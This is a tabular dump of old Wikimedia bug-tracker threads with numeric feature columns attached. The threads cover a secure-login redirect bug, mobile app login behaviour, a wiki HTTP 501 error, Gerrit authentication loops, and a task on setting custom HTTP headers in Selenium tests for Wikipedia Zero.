+205506,$wgSecureLogin does not redirect to http if wpStickHTTPS is unchecked,"Thanks Tyler. The redirect should be an easy fix. The cookies might be easier after gerrit 24026, or there might be a better way to do it.",,,1348751650,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-z5wumrcziag5oczsoiqy,task_subcomment,,True,c2,1,True,,,-48,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0
+205502,$wgSecureLogin does not redirect to http if wpStickHTTPS is unchecked,"I'll work on this if nobody else is, since I'm the one who filed the bug this blocks.",,,1348720414,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-z5wumrcziag5oczsoiqy,task_subcomment,,True,c2,1,False,,,-48,True,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,1,0,0,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+205499,$wgSecureLogin does not redirect to http if wpStickHTTPS is unchecked,Can we use insecure cookies when wpStickHTTPS is not checked?,,,1348718753,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-z5wumrcziag5oczsoiqy,task_subcomment,,True,c2,1,False,,,-48,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,1,0,0,0,0,0,0
+41711,Login should only be required when uploading photos,"Early on I had lots of issues logging in. It seemed strange that I wasn't able to take photos and save photos for later whilst not being logged in and ended up switching between camera and app until I fixed the problem with an upgrade.
+
+A new user might want to contribute before registering and uploading.
+
+Expected:
+login only occurs when you hit the upload switch
+
+--------------------------
+**Version**: unspecified
+**Severity**: blocker",Unbreak Now!,100.0,1346113140,1346367440.0,PHID-USER-5dwuaigmkz2vzg65lape,False,,False,PHID-TASK-b6ejbr6hosik56ynruzd,task_description,resolved,True,c2,1,False,False,True,-53,True,0,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,1,0,0,1,0,1,1,1,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+182275,Login should only be required when uploading photos,https://github.com/wikimedia/WLMMobile/pull/212,,,1346367440,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-b6ejbr6hosik56ynruzd,task_subcomment,,True,c2,1,False,,,-52,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+182271,Login should only be required when uploading photos,"**philinje** wrote:
+
+also when attempting to view Uploads",,,1346286700,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-b6ejbr6hosik56ynruzd,task_subcomment,,True,c2,1,False,,,-52,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+50749,Accessing specific page via index.php results in HTTP 501,"**Author:** `yoplitein`
+
+**Description:**
+On my wiki (http://beniki.beniesbuilds.com/) attempting to access the page User:Yoplitein/Python directly from index.php, rather than through a URL rewrite (/wiki/User:Yoplitein/Python), causes the software to return HTTP 501. It is not caused by extensions or any configuration customizations, I commented out everything I added to LocalSettings.php and the problem persisted. Similarly named pages, such as User:Yoplitein/PythonCGI or /Python2 work perfectly fine. I've tried to get the software to log output but whatever is causing this seems to prevent any logging of any nature. I'd be happy to provide further information if anyone could tell me how to go about procuring it.
+
+--------------------------
+**Version**: 1.20.x
+**Severity**: normal
+**OS**: Linux
+**Platform**: PC
+**Whiteboard**: aklapper-moreinfo
+**URL**: http://beniki.beniesbuilds.com/index.php?title=User:Yoplitein/Python",Needs Triage,90.0,1369317840,1369453683.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-l4ttm2pvsihhtm43zzrz,task_description,invalid,True,c2,1,False,False,True,-14,True,1,1,1,0,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1
+217125,Accessing specific page via index.php results in HTTP 501,"**yoplitein** wrote:
+
+(In reply to comment #1)
+> You are probably aware of http://www.mediawiki.org/wiki/Manual:How_to_debug ,
+> and I can confirm that
+> http://beniki.beniesbuilds.com/index.php?title=User:Yoplitein/
+> Python?debug=true
+> does not create the problem. Is there anything in the Apache log?
+
+There is nothing in the Apache access or error logs. After a bit more poking and prodding, it seems the problem is with Apache and not MediaWiki.",,,1369453683,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-l4ttm2pvsihhtm43zzrz,task_subcomment,,True,c2,1,False,,,-14,True,0,1,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,0,1,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,0,1,0,0,1,0,1
+217118,Accessing specific page via index.php results in HTTP 501,"You are probably aware of http://www.mediawiki.org/wiki/Manual:How_to_debug , and I can confirm that http://beniki.beniesbuilds.com/index.php?title=User:Yoplitein/Python?debug=true does not create the problem. Is there anything in the Apache log?",,,1369396213,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-l4ttm2pvsihhtm43zzrz,task_subcomment,,True,c2,1,True,,,-14,True,0,1,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0
+50587,Disable login until username and password are filled in,"Login button can be pressed even when no username and password are fill in. Let's disable it until the we have some text.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1368822240,1369166376.0,PHID-USER-qmantxp3p7omhisp3qgq,False,,False,PHID-TASK-w2nwbppgvbp6nfscz6ot,task_description,resolved,True,c2,1,False,False,True,-15,True,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+232657,Disable login until username and password are filled in,"Monte did this fix, was merged: https://github.com/wikimedia/Commons-iOS/pull/73",,,1369166376,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-w2nwbppgvbp6nfscz6ot,task_subcomment,,True,c2,1,True,,,-15,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+50362,Gerrit Loops on HTTP Authentication,"**Author:** `david.narvaez`
+
+**Description:**
+
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal
+**URL**: https://gerrit-review.googlesource.com/#/c/44930/",Needs Triage,90.0,1368302220,1368408110.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-5mh2yboxecgfikjq5c7o,task_description,invalid,True,c2,1,False,False,True,-16,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+219041,Gerrit Loops on HTTP Authentication,"**david.narvaez** wrote:
+
+It doe(In reply to comment #6)
+> As reported on
+> 
+>   http://lists.wikimedia.org/pipermail/wikitech-l/2013-September/071862.html
+> 
+> it seems that latest nightlies of mylyn review come with support for newer
+> gerrits and can be used to connect to our gerrit again \o/
+
+It doesn't support inline comments yet, but it is in the works.",,,1380122469,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-5mh2yboxecgfikjq5c7o,task_subcomment,,True,c2,3,False,,,4,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,1,1,1
+219034,Gerrit Loops on HTTP Authentication,"As reported on
+
+  http://lists.wikimedia.org/pipermail/wikitech-l/2013-September/071862.html
+
+it seems that latest nightlies of mylyn review come with support for newer
+gerrits and can be used to connect to our gerrit again \o/",,,1379523926,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-5mh2yboxecgfikjq5c7o,task_subcomment,,True,c2,3,False,,,3,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,1,1,0
+219030,Gerrit Loops on HTTP Authentication,"**david.narvaez** wrote:
+
+(In reply to comment #4)
+> The patch for this issue has already been included in our gerrit
+> some time ago.
+
+Great, that's really what I needed to know. I'll close this bug then, since it is invalid.
+
+> (In reply to comment #3)
+> The (still open) bug at
+>   https://bugs.eclipse.org/bugs/show_bug.cgi?id=395059
+> that you mentioned states that Mylyn's Gerrit connector has not yet
+> been ported to the new RPC infrastructure that comes with Gerrit 2.6.
+
+Yes, my concern was that, even if I wanted to hack Egit's source to connect Mylyn with Wikimedia's Gerrit, the other bug would still bite me.",,,1368408110,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-5mh2yboxecgfikjq5c7o,task_subcomment,,True,c2,1,False,,,-16,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,1,1,0,1,0,0,0,1
+219024,Gerrit Loops on HTTP Authentication,"(In reply to comment #1)
+> https://code.google.com/p/gerrit/issues/detail?id=1862
+> 
+> which was fixed later for the 2.6 release. Would it be possible to upgrade
+> the installation?
+
+The patch for this issue has already been included in our gerrit
+some time ago.
+
+(In reply to comment #3)
+> > Which URL does not work for you?
+> [...]
+> I found this issue while trying to connect my Eclipse Mylyn.
+
+Is the bug about Mylyn's Gerrit connector not being able to
+validate
+  http://gerrit.wikimedia.org/r
+as task repository?
+
+If so, our gerrit isn't too old, but to new :-)
+The (still open) bug at
+  https://bugs.eclipse.org/bugs/show_bug.cgi?id=395059
+that you mentioned states that Mylyn's Gerrit connector has not yet
+been ported to the new RPC infrastructure that comes with Gerrit 2.6.",,,1368344308,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-5mh2yboxecgfikjq5c7o,task_subcomment,,True,c2,1,False,,,-16,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,0,0,1,0,0,1
+219020,Gerrit Loops on HTTP Authentication,"**david.narvaez** wrote:
+
+(In reply to comment #2)
+> Which URL does not work for you?
+
+Check the comment at
+
+https://bugs.eclipse.org/bugs/show_bug.cgi?id=395059#c3
+
+I found this issue while trying to connect my Eclipse Mylyn.",,,1368307371,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-5mh2yboxecgfikjq5c7o,task_subcomment,,True,c2,1,False,,,-16,True,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,0,0,1,0,0,1
+219016,Gerrit Loops on HTTP Authentication,"I am not completely sure what you are referring to, as the bug you
+link to refers to auth.type = http. While puppet tells me that we're
+on ldap.
+
+But since the bug you mentioned is about circular redirects, I tried
+navigating to
+  https://gerrit.wikimedia.org
+. That correctly takes me to
+  https://gerrit.wikimedia.org/r/#/
+and I get to see my dashboard. Looks correct.
+
+If I am not logged in, navigating to
+  https://gerrit.wikimedia.org
+takes me to
+  https://gerrit.wikimedia.org/r/#/q/status:open,n,z
+and I get to see the changes with open status. Looks correct as well.
+Clicking on „Sign in” on that page takes me to
+  https://gerrit.wikimedia.org/r/login/q/status:open,n,z
+and I can enter my LDAP credentials to log in. Upon logging in, I am
+forwarded again to
+  https://gerrit.wikimedia.org/r/#/q/status:open,n,z
+, which also looks correct.
+
+So I cannot reproduce circular redirects.
+
+Which URL does not work for you?",,,1368307163,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-5mh2yboxecgfikjq5c7o,task_subcomment,,True,c2,1,False,,,-16,True,0,0,1,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,0,0,1,1,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,0,1,1,0,0,1
+219008,Gerrit Loops on HTTP Authentication,"**david.narvaez** wrote:
+
+I'm afraid that the current installation of Gerrit is affected by the issue described here
+
+https://code.google.com/p/gerrit/issues/detail?id=1862
+
+which was fixed later for the 2.6 release. Would it be possible to upgrade the installation? Or at least patch it against this issue?",,,1368302542,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-5mh2yboxecgfikjq5c7o,task_subcomment,,True,c2,1,False,,,-16,True,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,1,0,0,0,0,1,1,1,1,0,0,0,1,0,1,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,0,0,0,0,1,0
+50218,Investigate how to fake HTTP headers,"Zero team uses a HTTP header to fake IPs. Until they implement a different way of faking IPs, investigate if Selenium can fake HTTP headers.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**Whiteboard**: gci2013 https://www.mediawiki.org/wiki/Google_Code-In#Candidate_tasks
+**URL**: https://www.google-melange.com/gci/task/view/google/gci2013/5854732451053568",Needs Triage,90.0,1367945640,1393020067.0,PHID-USER-fz7hkyvt4jypl76ieyol,False,,False,PHID-TASK-weoizjzlqc7lrtlirml7,task_description,resolved,True,c2,1,False,False,False,-17,True,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+210622,Investigate how to fake HTTP headers,"Change 114153 merged by jenkins-bot:
+Added links for ZeroRatedMobileAccess repository
+
+https://gerrit.wikimedia.org/r/114153",,,1392840654,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-weoizjzlqc7lrtlirml7,task_subcomment,,True,c2,3,False,,,25,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+210616,Investigate how to fake HTTP headers,"Change 106709 merged by jenkins-bot:
+The first Selenium test: banners
+
+https://gerrit.wikimedia.org/r/106709",,,1392836362,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-weoizjzlqc7lrtlirml7,task_subcomment,,True,c2,3,False,,,25,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+210610,Investigate how to fake HTTP headers,"Change 114153 had a related patch set uploaded by Zfilipin:
+Added links for ZeroRatedMobileAccess repository
+
+https://gerrit.wikimedia.org/r/114153",,,1392823235,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-weoizjzlqc7lrtlirml7,task_subcomment,,True,c2,3,False,,,25,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+210606,Investigate how to fake HTTP headers,"This is now implemented in https://gerrit.wikimedia.org/r/#/c/106709/
+
+Please take a look and merge into ZeroRatedMobileAccess.",,,1392639008,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-weoizjzlqc7lrtlirml7,task_subcomment,,True,c2,3,False,,,24,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+210600,Investigate how to fake HTTP headers,"Change 101485 abandoned by Zfilipin:
+WIP: Adding a test to check if supplying custom headers works
+
+Reason:
+Moved to https://gerrit.wikimedia.org/r/#/c/106709/
+
+https://gerrit.wikimedia.org/r/101485",,,1392629576,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-weoizjzlqc7lrtlirml7,task_subcomment,,True,c2,3,False,,,24,True,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+210594,Investigate how to fake HTTP headers,"Change 106709 had a related patch set uploaded by Zfilipin:
+Adding Cucumber tests First cucumber test for checking the banners on Wikipedia Zero.
+
+https://gerrit.wikimedia.org/r/106709",,,1392393512,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-weoizjzlqc7lrtlirml7,task_subcomment,,True,c2,3,False,,,24,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+210588,Investigate how to fake HTTP headers,*** Bug 61379 has been marked as a duplicate of this bug. ***,,,1392393381,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-weoizjzlqc7lrtlirml7,task_subcomment,,True,c2,3,False,,,24,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+210583,Investigate how to fake HTTP headers,"Change 101485 had a related patch set uploaded by Mayankmadan:
+Adding a test to check if supplying custom headers works
+
+https://gerrit.wikimedia.org/r/101485",,,1387022719,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-weoizjzlqc7lrtlirml7,task_subcomment,,True,c2,3,False,,,15,True,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+210578,Investigate how to fake HTTP headers,"We currently built a workaround in production, allowing header values to also be passed as URL params. This is obviously a hack, but has worked more or less ok, as long as we don't test what happens after the click (URL params are not preserved via links)
+
+Here is an example, but this URL ONLY works if you don't have forceHTTPS or other cookies set - use privacy browser when testing:
+
+http://en.m.wikipedia.org/wiki/Special:ZeroRatedMobileAccess?X-CS=-TEST-ALL
+
+That same X-CS could be passed as a header, making testing check if the site shows proper behavior after clicking.
+
+If some other carrier was used, for example X-CS=250-99 -- https://meta.wikimedia.org/wiki/Zero:250-99 -- they only whitelist en & ru, which means navigating to other languages should not show the banner.
+
+Let me know if you have any questions!",,,1386965303,,PHID-USER-esrrkc2rlizdlae443wg,False,,,PHID-TASK-weoizjzlqc7lrtlirml7,task_subcomment,,True,c2,3,False,,,15,True,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,1,0,1,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,1
+210573,Investigate how to fake HTTP headers,"Yuri, can you provide more detail?
+
+Mayank (Google Code-in student) is working on this. He needs an example that he will implement.",,,1386947837,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-weoizjzlqc7lrtlirml7,task_subcomment,,True,c2,3,False,,,15,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,1,1,0,0
+210566,Investigate how to fake HTTP headers,"The goal of this task is to find out what zero team needs and to implement at least one simple test, proving that the solution you found works.",,,1386947651,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-weoizjzlqc7lrtlirml7,task_subcomment,,True,c2,3,False,,,15,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,1,0
+210558,Investigate how to fake HTTP headers,More information: http://stackoverflow.com/a/20568647/17469,,,1386946137,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-weoizjzlqc7lrtlirml7,task_subcomment,,True,c2,3,False,,,15,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0
+210552,Investigate how to fake HTTP headers,"Looks like it should be possible to fake headers, at least for PhantomJS:
+
+https://github.com/ariya/phantomjs/wiki/API-Reference-WebPage#customheaders-object",,,1386932017,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-weoizjzlqc7lrtlirml7,task_subcomment,,True,c2,3,False,,,15,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,0
+210547,Investigate how to fake HTTP headers,"If you need more information (and you probably do), feel free to ask questions
+here, at #wikimedia-qa freenode IRC channel or at QA mailing list:
+
+https://lists.wikimedia.org/mailman/listinfo/qa",,,1386004185,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-weoizjzlqc7lrtlirml7,task_subcomment,,True,c2,3,False,,,13,True,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,1,0,1
+210543,Investigate how to fake HTTP headers,"I have changed the title, since it looks to me that this should not be done with Selenium, but another tool.",,,1385578136,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-weoizjzlqc7lrtlirml7,task_subcomment,,True,c2,3,False,,,13,True,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+210537,Investigate how to fake HTTP headers,"
+This is the famous Issue 141 https://code.google.com/p/selenium/issues/detail?id=141",,,1385502287,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-weoizjzlqc7lrtlirml7,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+210533,Investigate how to fake HTTP headers,"We (zero) are currently forced to do testing via our own testing framework (simple script), which is obviously far ""superior"" to what Selenium offers. We would really like to switch to selenium for testing, but unless we can SET headers on request (we don't care about reading headers in the response), we can't use selenium.
+
